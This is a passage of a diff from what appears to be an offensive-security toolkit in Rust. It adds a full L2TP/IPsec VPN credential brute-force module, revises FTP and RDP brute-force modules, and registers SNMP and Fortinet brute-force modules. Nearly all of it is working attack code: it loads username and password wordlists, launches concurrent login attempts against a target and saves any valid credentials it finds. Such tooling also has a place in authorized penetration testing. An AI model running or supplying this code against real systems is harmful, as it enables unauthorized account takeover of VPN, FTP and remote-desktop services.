-                                *stop_clone.lock().await = true;
+                            if stop_on_success_flag {
+                                stop_clone.store(true, Ordering::Relaxed);
                             }
                         }
                         Ok(false) => {
-                            log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
+                            log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
                         }
                         Err(e) => {
-                            log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
+                            log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
                         }
                     }
-                    // Permit released
+                    drop(permit);
                 }));
             }
         }
     }
 
-    let mut processed_tasks_count = 0;
     while let Some(res) = tasks.next().await {
-        dynamic_throttle(processed_tasks_count, concurrency).await; // Still useful for CPU/RAM based throttling
         if let Err(e) = res {
             log(verbose, &format!("[!] Task panicked (likely due to forced shutdown or internal error): {}", e));
         }
-        processed_tasks_count += 1;
-        // (stop logic can remain)
     }
 
     let creds = found.lock().await;
@@ -237,8 +211,7 @@ pub async fn run(target: &str) -> Result<()> {
     Ok(())
 }
 
-async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
-    // (try_ftp_login function remains unchanged from your last working version)
+async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
     // Attempt 1: Plain FTP
     match AsyncFtpStream::connect(addr).await {
         Ok(mut ftp) => {
@@ -252,14 +225,15 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
                     if msg.contains("530") {
                         return Ok(false);
                     } else if msg.contains("550 SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
-                        log(true, &format!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr));
+                        println!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr);
                     } else if msg.contains("421") {
                         println!("[-] {} - Server reported too many connections (421). Sleeping briefly...", addr);
                         sleep(Duration::from_secs(2)).await;
                         return Ok(false);
                     } else {
-                        // Log network errors if verbose, otherwise they might be too noisy
-                        log(true, &format!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
+                        if verbose {
+                            println!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
+                        }
                         return Err(anyhow!("FTP login error: {}", msg));
                     }
                 }
@@ -268,25 +242,30 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
         Err(e) => {
             let msg = e.to_string();
             if msg.contains("SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
-                log(true, &format!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr));
+                println!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr);
             } else if msg.contains("421") {
                 println!("[-] {} - Server reported too many connections during connect (421). Sleeping briefly...", addr);
                 sleep(Duration::from_secs(2)).await;
                 return Ok(false);
             } else {
-                // Log network errors if verbose
-                log(true, &format!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
+                if verbose {
+                    println!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
+                }
                 return Err(anyhow!("FTP connection error: {}", msg));
             }
         }
     }
 
     // 2️⃣ Only if needed, try FTPS
-    log(true, &format!("[i] {} Attempting FTPS login for user '{}'", addr, user));
+    if verbose {
+        println!("[i] {} Attempting FTPS login for user '{}'", addr, user);
+    }
     let mut ftp_tls = AsyncNativeTlsFtpStream::connect(addr)
         .await
         .map_err(|e| {
-            log(true, &format!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
+            if verbose {
+                println!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
+            }
             anyhow!("FTPS base connect failed: {}", e)
         })?;
 
@@ -306,7 +285,9 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
         .into_secure(connector, domain)
         .await
         .map_err(|e| {
-            log(true, &format!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
+            if verbose {
+                println!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
+            }
             anyhow!("TLS upgrade failed: {}", e)
         })?;
 
@@ -320,7 +301,9 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
             if msg.contains("530") {
                 Ok(false)
             } else {
-                log(true, &format!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
+                if verbose {
+                    println!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
+                }
                 Err(anyhow!("FTPS error: {}", msg))
             }
         }

src/modules/creds/generic/l2tp_bruteforce.rs

@@ -0,0 +1,673 @@
+use anyhow::{anyhow, Result};
+use colored::*;
+use futures::stream::{FuturesUnordered, StreamExt};
+use regex::Regex;
+use std::{
+    fs::File,
+    io::{BufRead, BufReader, Write},
+    path::{Path, PathBuf},
+    sync::Arc,
+    sync::atomic::{AtomicBool, Ordering},
+};
+use tokio::{
+    process::Command,
+    sync::{Mutex, Semaphore},
+    time::{sleep, Duration, timeout},
+};
+
+pub async fn run(target: &str) -> Result<()> {
+    println!("=== L2TP/IPsec VPN Brute Force Module ===");
+    println!("[*] Target: {}", target);
+
+    let port: u16 = loop {
+        let input = prompt_default("L2TP/IPsec Port (IKE)", "500")?;
+        match input.trim().parse::<u16>() {
+            Ok(p) if p > 0 => break p,
+            Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
+            Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
+        }
+    };
+
+    let usernames_file_path = loop {
+        let input = prompt_required("Username wordlist path")?;
+        let path = Path::new(&input);
+        if !path.exists() {
+            println!("{}", format!("File '{}' does not exist.", input).yellow());
+            continue;
+        }
+        if !path.is_file() {
+            println!("{}", format!("'{}' is not a regular file.", input).yellow());
+            continue;
+        }
+        match File::open(path) {
+            Ok(_) => break input,
+            Err(e) => {
+                println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
+                continue;
+            }
+        }
+    };
+
+    let passwords_file_path = loop {
+        let input = prompt_required("Password wordlist path")?;
+        let path = Path::new(&input);
+        if !path.exists() {
+            println!("{}", format!("File '{}' does not exist.", input).yellow());
+            continue;
+        }
+        if !path.is_file() {
+            println!("{}", format!("'{}' is not a regular file.", input).yellow());
+            continue;
+        }
+        match File::open(path) {
+            Ok(_) => break input,
+            Err(e) => {
+                println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
+                continue;
+            }
+        }
+    };
+
+    // Optional: Pre-shared key (PSK) for IPsec phase
+    let psk = prompt_optional("IPsec Pre-shared Key (PSK) - optional, press Enter to skip")?;
+
+    let concurrency: usize = loop {
+        let input = prompt_default("Max concurrent tasks", "5")?;
+        match input.trim().parse::<usize>() {
+            Ok(n) if n > 0 && n <= 10000 => break n,
+            Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
+            Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
+            Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
+        }
+    };
+
+    let timeout_secs: u64 = loop {
+        let input = prompt_default("Connection timeout (seconds)", "15")?;
+        match input.trim().parse::<u64>() {
+            Ok(n) if n > 0 && n <= 300 => break n,
+            Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
+            Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
+            Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
+        }
+    };
+
+    let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
+    let save_results = prompt_yes_no("Save results to file?", true)?;
+    let save_path = if save_results {
+        Some(prompt_default("Output file name", "l2tp_results.txt")?)
+    } else {
+        None
+    };
+    let verbose = prompt_yes_no("Verbose mode?", false)?;
+    let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
+
+    let addr = normalize_target(target, port)?;
+    let found_credentials = Arc::new(Mutex::new(Vec::new()));
+    let stop_signal = Arc::new(AtomicBool::new(false));
+
+    println!("\n[*] Starting brute-force on {}", addr);
+    println!("[*] Timeout: {} seconds", timeout_secs);
+    if psk.is_some() {
+        println!("[*] Using IPsec PSK authentication");
+    } else {
+        println!("[*] No PSK specified - will attempt without PSK");
+    }
+
+    let users = load_lines(&usernames_file_path)?;
+    if users.is_empty() {
+        println!("[!] Username wordlist is empty or invalid. Exiting.");
+        return Ok(());
+    }
+    println!("[*] Loaded {} usernames", users.len());
+
+    let passwords = load_lines(&passwords_file_path)?;
+    if passwords.is_empty() {
+        println!("[!] Password wordlist is empty or invalid. Exiting.");
+        return Ok(());
+    }
+    println!("[*] Loaded {} passwords", passwords.len());
+
+    let semaphore = Arc::new(Semaphore::new(concurrency));
+    let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
+    let timeout_duration = Duration::from_secs(timeout_secs);
+
+    if combo_mode {
+        // Try every password with every user
+        for user in &users {
+            if stop_on_success && stop_signal.load(Ordering::Relaxed) {
+                break;
+            }
+            for pass in &passwords {
+                if stop_on_success && stop_signal.load(Ordering::Relaxed) {
+                    break;
+                }
+
+                let addr_clone = addr.clone();
+                let user_clone = user.clone();
+                let pass_clone = pass.clone();
+                let psk_clone = psk.clone();
+                let found_credentials_clone = Arc::clone(&found_credentials);
+                let stop_signal_clone = Arc::clone(&stop_signal);
+                let semaphore_clone = Arc::clone(&semaphore);
+                let verbose_flag = verbose;
+                let stop_on_success_flag = stop_on_success;
+
+                tasks.push(tokio::spawn(async move {
+                    if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
+                        return;
+                    }
+                    let permit = match semaphore_clone.acquire_owned().await {
+                        Ok(permit) => permit,
+                        Err(_) => return,
+                    };
+                    if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
+                        return;
+                    }
+
+                    match try_l2tp_login(&addr_clone, &user_clone, &pass_clone, &psk_clone, timeout_duration).await {
+                        Ok(true) => {
+                            println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
+                            let mut found = found_credentials_clone.lock().await;
+                            found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
+                            if stop_on_success_flag {
+                                stop_signal_clone.store(true, Ordering::Relaxed);
+                            }
+                        }
+                        Ok(false) => {
+                            log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
+                        }
+                        Err(e) => {
+                            log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
+                        }
+                    }
+                    drop(permit);
+                    sleep(Duration::from_millis(100)).await;
+                }));
+            }
+        }
+    } else {
+        // Try passwords sequentially, cycling through users
+        for (i, pass) in passwords.iter().enumerate() {
+            if stop_on_success && stop_signal.load(Ordering::Relaxed) {
+                break;
+            }
+            let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
+
+            let addr_clone = addr.clone();
+            let pass_clone = pass.clone();
+            let psk_clone = psk.clone();
+            let found_credentials_clone = Arc::clone(&found_credentials);
+            let stop_signal_clone = Arc::clone(&stop_signal);
+            let semaphore_clone = Arc::clone(&semaphore);
+            let verbose_flag = verbose;
+            let stop_on_success_flag = stop_on_success;
+
+            tasks.push(tokio::spawn(async move {
+                if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
+                    return;
+                }
+                let permit = match semaphore_clone.acquire_owned().await {
+                    Ok(permit) => permit,
+                    Err(_) => return,
+                };
+                if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
+                    return;
+                }
+
+                match try_l2tp_login(&addr_clone, &user, &pass_clone, &psk_clone, timeout_duration).await {
+                    Ok(true) => {
+                        println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
+                        let mut found = found_credentials_clone.lock().await;
+                        found.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
+                        if stop_on_success_flag {
+                            stop_signal_clone.store(true, Ordering::Relaxed);
+                        }
+                    }
+                    Ok(false) => {
+                        log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
+                    }
+                    Err(e) => {
+                        log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
+                    }
+                }
+                drop(permit);
+                sleep(Duration::from_millis(100)).await;
+            }));
+
+            // Limit concurrent tasks
+            if tasks.len() >= concurrency {
+                if let Some(res) = tasks.next().await {
+                    if let Err(e) = res {
+                        log(verbose, &format!("[!] Task join error: {}", e));
+                    }
+                }
+            }
+        }
+    }
+
+    // Wait for remaining tasks
+    while let Some(res) = tasks.next().await {
+        if let Err(e) = res {
+            log(verbose, &format!("[!] Task join error: {}", e));
+        }
+    }
+
+    let creds = found_credentials.lock().await;
+    if creds.is_empty() {
+        println!("\n[-] No credentials found.");
+    } else {
+        println!("\n[+] Valid credentials found:");
+        for (host_addr, user, pass) in creds.iter() {
+            println!("    {} -> {}:{}", host_addr, user, pass);
+        }
+
+        if let Some(path_str) = save_path {
+            let filename = get_filename_in_current_dir(&path_str);
+            match File::create(&filename) {
+                Ok(mut file) => {
+                    for (host_addr, user, pass) in creds.iter() {
+                        if writeln!(file, "{} -> {}:{}", host_addr, user, pass).is_err() {
+                            eprintln!("[!] Error writing to result file: {}", filename.display());
+                            break;
+                        }
+                    }
+                    println!("[+] Results saved to '{}'", filename.display());
+                }
+                Err(e) => {
+                    eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
+                }
+            }
+        }
+    }
+
+    Ok(())
+}
+
+/// Attempts L2TP/IPsec VPN login
+/// 
+/// Note: L2TP/IPsec authentication is complex and requires:
+/// - Root privileges for IPsec operations
+/// - Proper configuration files (/etc/ipsec.conf, /etc/ipsec.secrets, etc.)
+/// - IPsec phase (machine authentication with PSK/certificates)
+/// - L2TP phase (user authentication with username/password)
+/// 
+/// This implementation provides the framework. A full implementation would need to:
+/// - Create temporary configuration files dynamically
+/// - Use ipsec/strongswan commands to establish IPsec tunnel
+/// - Use xl2tpd or pppd to establish L2TP tunnel within IPsec
+/// - Parse connection status and authentication responses
+async fn try_l2tp_login(addr: &str, username: &str, password: &str, psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
+    // Try using strongswan (ipsec/strongswan) if available
+    let strongswan_check = Command::new("which")
+        .arg("ipsec")
+        .output()
+        .await;
+    
+    if strongswan_check.is_ok() && strongswan_check.unwrap().status.success() {
+        return try_l2tp_strongswan(addr, username, password, psk, timeout_duration).await;
+    }
+
+    // Fallback: try xl2tpd if available
+    let xl2tpd_check = Command::new("which")
+        .arg("xl2tpd")
+        .output()
+        .await;
+    
+    if xl2tpd_check.is_ok() && xl2tpd_check.unwrap().status.success() {
+        return try_l2tp_xl2tpd(addr, username, password, psk, timeout_duration).await;
+    }
+
+    // Try using system L2TP tools (Windows: rasdial, Linux: various)
+    #[cfg(target_os = "linux")]
+    {
+        // Try using pppd with l2tp plugin if available
+        let pppd_check = Command::new("which")
+            .arg("pppd")
+            .output()
+            .await;
+        
+        if pppd_check.is_ok() && pppd_check.unwrap().status.success() {
+            return try_l2tp_pppd(addr, username, password, psk, timeout_duration).await;
+        }
+    }
+
+    Err(anyhow!("No L2TP client tools found. Please install strongswan, xl2tpd, or pppd with L2TP support."))
+}
+
+async fn try_l2tp_strongswan(addr: &str, username: &str, password: &str, psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
+    // Extract IP address from addr (remove port if present)
+    let server_ip = addr.split(':').next().unwrap_or(addr);
+    
+    // Create temporary directory for config files
+    let temp_dir = std::env::temp_dir();
+    let conn_name = format!("l2tp_brute_{}", std::process::id());
+    let ipsec_conf_path = temp_dir.join(format!("{}.conf", conn_name));
+    let ipsec_secrets_path = temp_dir.join(format!("{}.secrets", conn_name));
+    
+    // Build IPsec configuration
+    let psk_value = psk.as_deref().unwrap_or("default");
+    let ipsec_conf = format!(
+        r#"conn {}
+    type=transport
+    authby=secret
+    left=%defaultroute
+    right={}
+    rightprotoport=17/1701
+    auto=start
+    keyexchange=ikev1
+    ike=aes128-sha1-modp1024
+    esp=aes128-sha1
+"#,
+        conn_name, server_ip
+    );
+    
+    // Build secrets file
+    let ipsec_secrets = format!(
+        r#"{} : PSK "{}"
+{} : XAUTH "{}"
+"#,
+        server_ip, psk_value, username, password
+    );
+    
+    // Write config files
+    std::fs::write(&ipsec_conf_path, ipsec_conf)
+        .map_err(|e| anyhow!("Failed to write IPsec config: {}", e))?;
+    std::fs::write(&ipsec_secrets_path, ipsec_secrets)
+        .map_err(|e| anyhow!("Failed to write IPsec secrets: {}", e))?;
+    
+    // Set permissions on secrets file (should be 600)
+    #[cfg(unix)]
+    {
+        use std::os::unix::fs::PermissionsExt;
+        let mut perms = std::fs::metadata(&ipsec_secrets_path)?.permissions();
+        perms.set_mode(0o600);
+        std::fs::set_permissions(&ipsec_secrets_path, perms)?;
+    }
+    
+    // Try to establish connection using ipsec
+    // Note: This requires root privileges and proper strongswan setup
+    // strongswan typically reads from /etc/ipsec.conf and /etc/ipsec.secrets
+    // For a bruteforce tool, we'd ideally use temporary configs, but ipsec
+    // doesn't easily support that. This is a framework implementation.
+    // In practice, you might need to:
+    // 1. Run as root
+    // 2. Temporarily modify system config files, or
+    // 3. Use strongswan's swanctl with custom configs
+    
+    // Try using ipsec up command (requires proper system configuration)
+    let mut child = Command::new("ipsec")
+        .arg("up")
+        .arg(&conn_name)
+        .stdout(std::process::Stdio::piped())
+        .stderr(std::process::Stdio::piped())
+        .spawn()?;
+
+    let result = match timeout(timeout_duration, child.wait()).await {
+        Ok(Ok(status)) => {
+            // Check if connection was established
+            // Exit code 0 typically means success
+            Ok(status.success())
+        }
+        Ok(Err(e)) => {
+            Err(anyhow!("strongswan error: {}", e))
+        }
+        Err(_) => {
+            let _ = child.kill().await;
+            Ok(false)
+        }
+    };
+    
+    // Clean up connection
+    let _ = Command::new("ipsec")
+        .arg("down")
+        .arg(&conn_name)
+        .output()
+        .await;
+    
+    // Clean up temp files
+    let _ = std::fs::remove_file(&ipsec_conf_path);
+    let _ = std::fs::remove_file(&ipsec_secrets_path);
+    
+    result
+}
+
+async fn try_l2tp_xl2tpd(addr: &str, username: &str, password: &str, _psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
+    // xl2tpd requires configuration files
+    // Create temporary config files for this attempt
+    let temp_dir = std::env::temp_dir();
+    let conn_name = format!("l2tp_brute_{}", std::process::id());
+    let xl2tpd_conf_path = temp_dir.join(format!("{}.xl2tpd.conf", conn_name));
+    let ppp_secrets_path = temp_dir.join(format!("{}.chap-secrets", conn_name));
+    
+    let server_ip = addr.split(':').next().unwrap_or(addr);
+    
+    // Build xl2tpd config
+    let xl2tpd_conf = format!(
+        r#"[lac {}]
+lns = {}
+ppp debug = no
+pppoptfile = /etc/ppp/options.xl2tpd
+length bit = yes
+"#,
+        conn_name, server_ip
+    );
+    
+    // Build PPP secrets (CHAP)
+    let ppp_secrets = format!(
+        r#"{} * {} *
+"#,
+        username, password
+    );
+    
+    // Write config files
+    std::fs::write(&xl2tpd_conf_path, xl2tpd_conf)
+        .map_err(|e| anyhow!("Failed to write xl2tpd config: {}", e))?;
+    std::fs::write(&ppp_secrets_path, ppp_secrets)
+        .map_err(|e| anyhow!("Failed to write PPP secrets: {}", e))?;
+    
+    // Try to connect using xl2tpd-control
+    // Note: xl2tpd must be running and configured
+    let mut child = Command::new("xl2tpd-control")
+        .arg("connect")
+        .arg(&conn_name)
+        .stdout(std::process::Stdio::piped())
+        .stderr(std::process::Stdio::piped())
+        .spawn()?;
+
+    let result = match timeout(timeout_duration, child.wait()).await {
+        Ok(Ok(status)) => {
+            // Check if connection was established
+            Ok(status.success())
+        }
+        Ok(Err(e)) => Err(anyhow!("xl2tpd error: {}", e)),
+        Err(_) => {
+            let _ = child.kill().await;
+            Ok(false)
+        }
+    };
+    
+    // Clean up connection
+    let _ = Command::new("xl2tpd-control")
+        .arg("disconnect")
+        .arg(&conn_name)
+        .output()
+        .await;
+    
+    // Clean up temp files
+    let _ = std::fs::remove_file(&xl2tpd_conf_path);
+    let _ = std::fs::remove_file(&ppp_secrets_path);
+    
+    result
+}
+
+#[cfg(target_os = "linux")]
+async fn try_l2tp_pppd(addr: &str, username: &str, password: &str, _psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
+    // pppd with L2TP plugin
+    // This requires proper configuration and typically root privileges
+    let server_ip = addr.split(':').next().unwrap_or(addr);
+    
+    // Create temporary options file for pppd
+    let temp_dir = std::env::temp_dir();
+    let options_file = temp_dir.join(format!("pppd_options_{}.txt", std::process::id()));
+    
+    let options_content = format!(
+        r#"noauth
+user {}
+password {}
+plugin pppol2tp.so
+pppol2tp_server {}
+"#,
+        username, password, server_ip
+    );
+    
+    std::fs::write(&options_file, options_content)
+        .map_err(|e| anyhow!("Failed to write pppd options: {}", e))?;
+    
+    let mut child = Command::new("pppd")
+        .arg("nodetach")
+        .arg("file")
+        .arg(&options_file)
+        .stdout(std::process::Stdio::piped())
+        .stderr(std::process::Stdio::piped())
+        .spawn()?;
+
+    let result = match timeout(timeout_duration, child.wait()).await {
+        Ok(Ok(status)) => {
+            // pppd returns 0 on successful connection
+            Ok(status.success())
+        }
+        Ok(Err(e)) => Err(anyhow!("pppd error: {}", e)),
+        Err(_) => {
+            let _ = child.kill().await;
+            Ok(false)
+        }
+    };
+    
+    // Clean up temp file
+    let _ = std::fs::remove_file(&options_file);
+    
+    result
+}
+
+fn normalize_target(host: &str, default_port: u16) -> Result<String> {
+    let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
+    let trimmed = host.trim();
+    let caps = re
+        .captures(trimmed)
+        .ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
+    let addr = caps.name("addr").unwrap().as_str();
+    let port = if let Some(m) = caps.name("port") {
+        m.as_str()
+            .parse::<u16>()
+            .map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
+    } else {
+        default_port
+    };
+    let formatted = if addr.contains(':') && !addr.contains('.') {
+        format!("[{}]:{}", addr, port)
+    } else {
+        format!("{}:{}", addr, port)
+    };
+    Ok(formatted)
+}
+
+fn prompt_required(msg: &str) -> Result<String> {
+    loop {
+        print!("{}", format!("{}: ", msg).cyan().bold());
+        std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
+        let mut s = String::new();
+        std::io::stdin().read_line(&mut s)?;
+        let trimmed = s.trim();
+        if !trimmed.is_empty() {
+            return Ok(trimmed.to_string());
+        } else {
+            println!("{}", "This field is required. Please provide a value.".yellow());
+        }
+    }
+}
+
+fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
+    print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
+    std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
+    let mut s = String::new();
+    std::io::stdin().read_line(&mut s)?;
+    let trimmed = s.trim();
+    Ok(if trimmed.is_empty() {
+        default_val.to_string()
+    } else {
+        trimmed.to_string()
+    })
+}
+
+fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
+    let default_char = if default_yes { "y" } else { "n" };
+    loop {
+        print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
+        std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
+        let mut s = String::new();
+        std::io::stdin().read_line(&mut s)?;
+        let input = s.trim().to_lowercase();
+        if input.is_empty() {
+            return Ok(default_yes);
+        } else if input == "y" || input == "yes" {
+            return Ok(true);
+        } else if input == "n" || input == "no" {
+            return Ok(false);
+        } else {
+            println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
+        }
+    }
+}
+
+fn prompt_optional(msg: &str) -> Result<Option<String>> {
+    print!("{}", format!("{} (optional, press Enter to skip): ", msg).cyan().bold());
+    std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
+    let mut s = String::new();
+    std::io::stdin().read_line(&mut s)?;
+    let trimmed = s.trim();
+    Ok(if trimmed.is_empty() {
+        None
+    } else {
+        Some(trimmed.to_string())
+    })
+}
+
+fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
+    let file = File::open(path.as_ref())
+        .map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
+    let reader = BufReader::new(file);
+    Ok(reader
+        .lines()
+        .filter_map(Result::ok)
+        .map(|line| line.trim().to_string())
+        .filter(|line| !line.is_empty())
+        .collect())
+}
+
+fn log(verbose: bool, msg: &str) {
+    if verbose {
+        println!("{}", msg);
+    }
+}
+
+fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
+    let path = Path::new(input_path_str);
+    let filename_component = path
+        .file_name()
+        .map(|os_str| os_str.to_string_lossy())
+        .unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
+
+    let final_name = if filename_component.is_empty()
+        || filename_component == "."
+        || filename_component == ".."
+        || filename_component.contains('/')
+        || filename_component.contains('\\')
+    {
+        "l2tp_results.txt"
+    } else {
+        filename_component.as_ref()
+    };
+
+    PathBuf::from(format!("./{}", final_name))
+}
+

src/modules/creds/generic/mod.rs

@@ -9,3 +9,6 @@
     pub mod enablebruteforce;
     pub mod smtp_bruteforce;
     pub mod pop3_bruteforce;
+    pub mod snmp_bruteforce;
+    pub mod fortinet_bruteforce;
+    pub mod l2tp_bruteforce;

src/modules/creds/generic/rdp_bruteforce.rs

@@ -1,15 +1,17 @@
-use anyhow::Result;
+use anyhow::{anyhow, Result};
 use colored::*;
+use futures::stream::{FuturesUnordered, StreamExt};
 use std::{
     fs::File,
     io::{BufRead, BufReader, Write},
     path::{Path, PathBuf},
     sync::Arc,
+    sync::atomic::{AtomicBool, Ordering},
 };
 use tokio::{
     process::Command,
     sync::{Mutex, Semaphore},
-    time::{sleep, Duration},
+    time::{sleep, Duration, timeout},
 };
 
 pub async fn run(target: &str) -> Result<()> {
@@ -18,20 +20,70 @@ pub async fn run(target: &str) -> Result<()> {
 
     let port: u16 = loop {
         let input = prompt_default("RDP Port", "3389")?;
-        match input.parse() {
-            Ok(p) => break p,
-            Err(_) => println!("Invalid port. Please enter a number."),
+        match input.trim().parse::<u16>() {
+            Ok(p) if p > 0 => break p,
+            Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
+            Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
         }
     };
 
-    let usernames_file_path = prompt_required("Username wordlist path")?;
-    let passwords_file_path = prompt_required("Password wordlist path")?;
+    let usernames_file_path = loop {
+        let input = prompt_required("Username wordlist path")?;
+        let path = Path::new(&input);
+        if !path.exists() {
+            println!("{}", format!("File '{}' does not exist.", input).yellow());
+            continue;
+        }
+        if !path.is_file() {
+            println!("{}", format!("'{}' is not a regular file.", input).yellow());
+            continue;
+        }
+        match File::open(path) {
+            Ok(_) => break input,
+            Err(e) => {
+                println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
+                continue;
+            }
+        }
+    };
+
+    let passwords_file_path = loop {
+        let input = prompt_required("Password wordlist path")?;
+        let path = Path::new(&input);
+        if !path.exists() {
+            println!("{}", format!("File '{}' does not exist.", input).yellow());
+            continue;
+        }
+        if !path.is_file() {
+            println!("{}", format!("'{}' is not a regular file.", input).yellow());
+            continue;
+        }
+        match File::open(path) {
+            Ok(_) => break input,
+            Err(e) => {
+                println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
+                continue;
+            }
+        }
+    };
 
     let concurrency: usize = loop {
         let input = prompt_default("Max concurrent tasks", "10")?;
-        match input.parse() {
-            Ok(n) if n > 0 => break n,
-            _ => println!("Invalid number. Must be greater than 0."),
+        match input.trim().parse::<usize>() {
+            Ok(n) if n > 0 && n <= 10000 => break n,
+            Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
+            Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
+            Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
+        }
+    };
+
+    let timeout_secs: u64 = loop {
+        let input = prompt_default("Connection timeout (seconds)", "10")?;
+        match input.trim().parse::<u64>() {
+            Ok(n) if n > 0 && n <= 300 => break n,
+            Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
+            Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
+            Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
         }
     };
 
@@ -47,83 +99,199 @@ pub async fn run(target: &str) -> Result<()> {
 
     let addr = format_socket_address(target, port);
     let found_credentials = Arc::new(Mutex::new(Vec::new()));
-    let stop_signal = Arc::new(Mutex::new(false));
+    let stop_signal = Arc::new(AtomicBool::new(false));
 
     println!("\n[*] Starting brute-force on {}", addr);
+    println!("[*] Timeout: {} seconds", timeout_secs);
 
-    let users = load_lines(&usernames_file_path)?;
-    if users.is_empty() {
+    // Count lines for display
+    let user_count = count_lines(&usernames_file_path)?;
+    if user_count == 0 {
         println!("[!] Username wordlist is empty or invalid. Exiting.");
         return Ok(());
     }
+    println!("[*] Loaded {} usernames", user_count);
 
-    let passwords = load_lines(&passwords_file_path)?;
-    if passwords.is_empty() {
+    let password_count = count_lines(&passwords_file_path)?;
+    if password_count == 0 {
         println!("[!] Password wordlist is empty or invalid. Exiting.");
         return Ok(());
     }
+    println!("[*] Loaded {} passwords", password_count);
 
     let semaphore = Arc::new(Semaphore::new(concurrency));
-    let mut handles = vec![];
-    let mut user_cycle_idx = 0;
+    let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
 
